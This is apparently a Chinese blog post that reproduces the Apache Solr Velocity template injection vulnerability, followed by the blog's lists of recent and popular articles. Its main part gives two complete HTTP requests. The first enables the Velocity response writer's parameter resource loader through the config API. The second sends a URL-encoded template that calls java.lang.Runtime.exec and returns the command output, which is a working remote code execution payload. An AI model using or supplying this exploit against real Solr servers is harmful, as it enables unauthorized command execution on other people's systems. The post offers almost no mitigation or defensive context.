0x01 Solr简单介绍

  Solr是建立在Apache Lucene ™之上的一个流行、快速、开放源代码的企业搜索平台。

  Solr具有高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平衡查询,自动故障转移和恢复,集中式配置等。Solr为许多世界上最大的互联网站点提供搜索和导航功能。

0x02 漏洞介绍

  此次出现漏洞的是Velocity模块,此模块可被注入,具体原理暂未公开。其poc 已公开。

0x03 漏洞复现

  感谢某大佬的环境,省了一点时间。

  • 打开solr主页,点击选择器  Core Selector ,选择这个东东(不熟悉solr,不知道怎么定义这个东西的属性),我们叫他 $name 。

  • 现在构造poc,首先写一个配置文件
POST /solr/$name/config HTTP/1.1
Host: $target
Pragma:no-cache
Cache-Control:no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://$target/solr/
Content-Length: {
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
  • 愉快的发包过去,写入成功~
  • 再写入执行指令~
GET /solr/$name/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host:$target
Pragma:no-cache
Cache-Control:no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://$target/solr/
Content-Length:
  • 发包成功~

最新文章

  1. iOS从info.plist获取项目的名称及版本号
  2. script标签不带属性与带async、defer的区别
  3. TP快捷函数
  4. mysqlroot passwd
  5. 多动手试试,其实List类型的变量在页面上取到的值可以直接赋值给一个js的Array数组变量
  6. 微软职位内部推荐-Principal Dev Manager for Windows Phone Apps
  7. [转] Javascript中数组与字典(即object)的使用
  8. 用OO方式写键盘字母小游戏
  9. 【SSH三框架】Hibernate基金会七:许多附属业务
  10. React Router基础使用
  11. reactjs Uncaught TypeError: Cannot read property 'location' of undefined
  12. H5学习的第三周
  13. mysql和mariadb备份工具xtrabackup和mariabackup(mariadb上版本必须用这个)
  14. 对SDE中空要素类插入要素,完成后显示的图层特别小
  15. python随笔--复习专用
  16. GDB 命令回顾
  17. Jmeter安装与使用(压测)
  18. 阿里的Json解析包FastJson使用
  19. 7种JVM垃圾收集器特点,优劣势、及使用场景
  20. scrapy入门二(分页抓取文章入库)

热门文章

  1. MySQL的死锁系列- 锁的类型以及加锁原理
  2. CocoaPods 安装卸载
  3. 深入理解NIO(四)—— epoll的实现原理
  4. k8s 集群管理和微服务 适合做啥
  5. RecyclerView 的简单使用
  6. 拿万元月薪必备的书单,学JAVA的程序员必看的5本书!
  7. Java运行时数据区域划分
  8. 整数逆序输出 Python
  9. Cacti监控服务
  10. ansible--ansible基础